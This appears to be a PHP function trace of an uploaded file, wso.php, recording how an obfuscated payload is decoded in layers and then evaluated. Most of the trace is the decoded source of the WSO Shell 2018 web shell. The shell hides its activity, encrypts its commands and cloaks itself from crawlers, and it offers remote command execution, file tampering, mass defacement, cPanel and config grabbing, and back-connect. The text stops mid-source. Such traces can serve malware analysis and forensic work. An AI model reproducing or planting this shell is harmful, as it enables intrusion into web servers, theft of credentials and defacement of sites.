2	8	R			'7P3rkuJVtigM/q5wtt+Bis7dce7IjJC4UQaZlUwtAglWIO4goKpBmiC5g5AIEJK66+88wrGZOXD22TzDvMg8w2ySTMvdaAMiMqq6atU+3zdMUwVVfvdo9+V4/dt/+5twOF+mu9nr9GEyGVq+a6N9+npXkAeDNx//LfYWnn8hJabwmli+883Vl913dM10zsj4Mmb83WyZ0Xw2ns++eeePj7uJcOzPWNjOZ+yZ65NeXv2v//F/Qn1XzSbzHf31/4Jfdrncfmqfpg/+n/ig7Wu76dA02LP/Bzzz7fzrSl+klqi0xJ/S3WX54YsMv77UOi2hnP4FG2oeRq+/aqbY/asvjW+x33j9Z6FNtyhuhZsrare++uXNm9Tf/+2/fTeejHOj2W28e/2tGmJGOCLs79d/+2LY6eudP56toc4DFPspeh3MCQwByr+Bac+ewkdj2qfDpaWMXToYELSbfHSSSrFf0JJwjYzF66v57PHdPQ7stLO3KXt0WtbjUStif8vifLw0'
1		A						/var/www/html/uploads/wso.php	5	$vt4 = '7P3rkuJVtigM/q5wtt+Bis7dce7IjJC4UQaZlUwtAglWIO4goKpBmiC5g5AIEJK66+88wrGZOXD22TzDvMg8w2ySTMvdaAMiMqq6atU+3zdMUwVVfvdo9+V4/dt/+5twOF+mu9nr9GEyGVq+a6N9+npXkAeDNx//LfYWnn8hJabwmli+883Vl913dM10zsj4Mmb83WyZ0Xw2ns++eeePj7uJcOzPWNjOZ+yZ65NeXv2v//F/Qn1XzSbzHf31/4Jfdrncfmqfpg/+n/ig7Wu76dA02LP/Bzzz7fzrSl+klqi0xJ/S3WX54YsMv77UOi2hnP4FG2oeRq+/aqbY/asvjW+x33j9Z6FNtyhuhZsrare++uXNm9Tf/+2/fTeejHOj2W28e/2tGmJGOCLs79d/+2LY6eudP56toc4DFPspeh3MCQwByr+Bac+ewkdj2qfDpaWMXToYELSbfHSSSrFf0JJwjYzF66v57PHdPQ7stLO3KXt0WtbjUStif8vifLw0'
2	9	0	0.001068	592600	base64_decode	0		/var/www/html/uploads/wso.php	5	1	'7P3rkuJVtigM/q5wtt+Bis7dce7IjJC4UQaZlUwtAglWIO4goKpBmiC5g5AIEJK66+88wrGZOXD22TzDvMg8w2ySTMvdaAMiMqq6atU+3zdMUwVVfvdo9+V4/dt/+5twOF+mu9nr9GEyGVq+a6N9+npXkAeDNx//LfYWnn8hJabwmli+883Vl913dM10zsj4Mmb83WyZ0Xw2ns++eeePj7uJcOzPWNjOZ+yZ65NeXv2v//F/Qn1XzSbzHf31/4Jfdrncfmqfpg/+n/ig7Wu76dA02LP/Bzzz7fzrSl+klqi0xJ/S3WX54YsMv77UOi2hnP4FG2oeRq+/aqbY/asvjW+x33j9Z6FNtyhuhZsrare++uXNm9Tf/+2/fTeejHOj2W28e/2tGmJGOCLs79d/+2LY6eudP56toc4DFPspeh3MCQwByr+Bac+ewkdj2qfDpaWMXToYELSbfHSSSrFf0JJwjYzF66v57PHdPQ7stLO3KXt0WtbjUStif8vifLw0'
2	9	1	0.001301	666360
2	9	R			'���U�(\f��p�߁���q�Ȍ��Q\006��L-\002\tV � ��A� ���\b\020����<±�9p��<ü�<�l�L��h\003"2��j�>�7LS\005U~�h��x����p8_�����a2\031Z�k�}�zW�\a�7\037�-�\026�!%��X���՗�wt�t��2f��l��|6�Ͼy珏��p��X��g��^^����B}W�&�\035����_v��~j��\017�����k���4س�\a<���J_����ğ��e��\f���:-���\005\033j\036F��j���/�o��x�g�M�(n��+j����͛���}7��s��m�{��\032bF8"����b���?����\003\024�)z\035�\t\f\001ʿ�iϞ�Gcڧå��]:\030\020��|t�J�_Вp�������=\016촳�){tZ��Q+b��|�4\024+1\024�j\016�J\fr�\'Ƃ?�`��`4��u2�j4��u���q�u��}'
2	10	0	0.002264	666328	str_rot13	0		/var/www/html/uploads/wso.php	5	1	'���U�(\f��p�߁���q�Ȍ��Q\006��L-\002\tV � ��A� ���\b\020����<±�9p��<ü�<�l�L��h\003"2��j�>�7LS\005U~�h��x����p8_�����a2\031Z�k�}�zW�\a�7\037�-�\026�!%��X���՗�wt�t��2f��l��|6�Ͼy珏��p��X��g��^^����B}W�&�\035����_v��~j��\017�����k���4س�\a<���J_����ğ��e��\f���:-���\005\033j\036F��j���/�o��x�g�M�(n��+j����͛���}7��s��m�{��\032bF8"����b���?����\003\024�)z\035�\t\f\001ʿ�iϞ�Gcڧå��]:\030\020��|t�J�_Вp�������=\016촳�){tZ��Q+b��|�4\024+1\024�j\016�J\fr�\'Ƃ?�`��`4��u2�j4��u���q�u��}'
2	10	1	0.003264	723704
2	10	R			'���H�(\f��c�߁���d�Ȍ��D\006��Y-\002\tI � ��N� ���\b\020����<±�9c��<ü�<�y�Y��u\003"2��w�>�7YF\005H~�u��k����c8_�����n2\031M�x�}�mJ�\a�7\037�-�\026�!%��K���՗�jg�g��2s��y��|6�Ͼl珏��c��K��t��^^����O}J�&�\035����_i��~w��\017�����x���4س�\a<���W_����ğ��r��\f���:-���\005\033w\036S��w���/�b��k�t�Z�(a��+w����͛���}7��f��z�{��\032oS8"����o���?����\003\024�)m\035�\t\f\001ʿ�vϞ�Tpڧå��]:\030\020��|g�W�_Вc�������=\016촳�){gM��D+o��|�4\024+1\024�w\016�W\fe�\'Ƃ?�`��`4��h2�w4��h���d�h��}'
2	11	0	0.004272	649944	gzinflate	0		/var/www/html/uploads/wso.php	5	1	'���H�(\f��c�߁���d�Ȍ��D\006��Y-\002\tI � ��N� ���\b\020����<±�9c��<ü�<�y�Y��u\003"2��w�>�7YF\005H~�u��k����c8_�����n2\031M�x�}�mJ�\a�7\037�-�\026�!%��K���՗�jg�g��2s��y��|6�Ͼl珏��c��K��t��^^����O}J�&�\035����_i��~w��\017�����x���4س�\a<���W_����ğ��r��\f���:-���\005\033w\036S��w���/�b��k�t�Z�(a��+w����͛���}7��f��z�{��\032oS8"����o���?����\003\024�)m\035�\t\f\001ʿ�vϞ�Tpڧå��]:\030\020��|g�W�_Вc�������=\016촳�){gM��D+o��|�4\024+1\024�w\016�W\fe�\'Ƃ?�`��`4��h2�w4��h���d�h��}'
2	11	1	0.005712	801528
2	11	R			'\r\n@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'HGS-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\''
2	12	0	0.005911	744152	str_rot13	0		/var/www/html/uploads/wso.php	5	1	'\r\n@vav_frg(\'reebe_ybt\', AHYY);\r\n@vav_frg(\'ybt_reebef\', 0);\r\n@vav_frg(\'znk_rkrphgvba_gvzr\', 0);\r\n@vav_frg(\'bhgchg_ohssrevat\', 0);\r\n@vav_frg(\'qvfcynl_reebef\', 0);\r\n$▘ = gehr;\r\n$▜ = \'HGS-8\';\r\n$▚ = \'SvyrfZna\';\r\n$▙ = zq5($_FREIRE[\'UGGC_HFRE_NTRAG\']);\r\nvs (!vffrg($_PBBXVR[zq5($_FREIRE[\'UGGC_UBFG\'])."xrl"])) {\r\n\tcebgbglcr(zq5($_FREIRE[\'UGGC_UBFG\'])."xrl", $▙);\r\n}\r\n\r\nvs(rzcgl($_CBFG[\'punefrg\']))\r\n\t$_CBFG[\'punefrg\'] = $▜;\r\nvs (!vffrg($_CBFG[\'ar\''
2	12	1	0.006170	895736
2	12	R			'\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\''
2	13	0	0.008512	1246976	eval	1	'\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\'])) {\r\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\n$hex = "SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ==";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($hex)))))); \r\n\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){\r\n    set_magic_quotes_runtime(0);\r\n}\r\n@define(\'VERSION\', \'SHELL 2018\');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array($array) {\r\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($▛)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\r\nfunction hardLogin() {\r\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  header(\'HTTP/1.0 404 Not Found\');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\tdie("</br></br><body bgcolor=\'#000000\'><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>Wso Shell 2018<br><br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'>>\' style=\'border:none;background-color:#1e252e;color:#fff;cursor:pointer;\'></form></pre> </body>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n\r\nfunction hardHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title> WSO " . VERSION ."</title>\r\n<style>\r\n\tbody {background-color:#0d0d0d; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #0d0d0d; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #0d0d0d;}\r\n\tspan,h1,a\t{color:#ff9900 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ff5e00d9;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#0d0d0d;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #0d0d0d;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#0d0d0d;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type=\'submit\']{background-color:#ff5e00d9;}\r\n\tinput[type=\'button\']{background-color:#ff5e00d9;}\r\n\tinput[type=\'submit\']:hover{background-color:#ff5e00d9;}\r\n\tinput[type=\'button\']:hover{background-color:#ff5e00d9;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'https://www.exploit-db.com/search/?action=search&description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $▟)\r\n\t\t$opt_charsets .= \'<option value="\'.$▟.\'" \'.($_POST[\'charset\']==$▟?\'selected\':\'\').\'>\'.$▟.\'</option>\';\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mass Deface\'=>\'Sql\',\'Adminer\'=>\'Infect\',\'Terminal\'=>\'Console\',\'Mass Title Edit\'=>\'Massuser\',\'Grab Cpanel\'=>\'Php\',\'Get Configs\'=>\'SafeMode\',\'Jumping\'=>\'StringTools\',\'Cgi Telnet\'=>\'Bruteforce\',\'Back Connect\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'▛\']))\r\n\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\r\n\t$drives = "";\r\n\tif ($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif (is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\t/* (С) 08.2015 dmkcv */\r\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="https://anon.click/protected/https://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#e6b000><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n\t\t \'<table style="background-color:#373c42;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div><br>\';\r\n}\r\nfunction hardFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#e6b000\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit 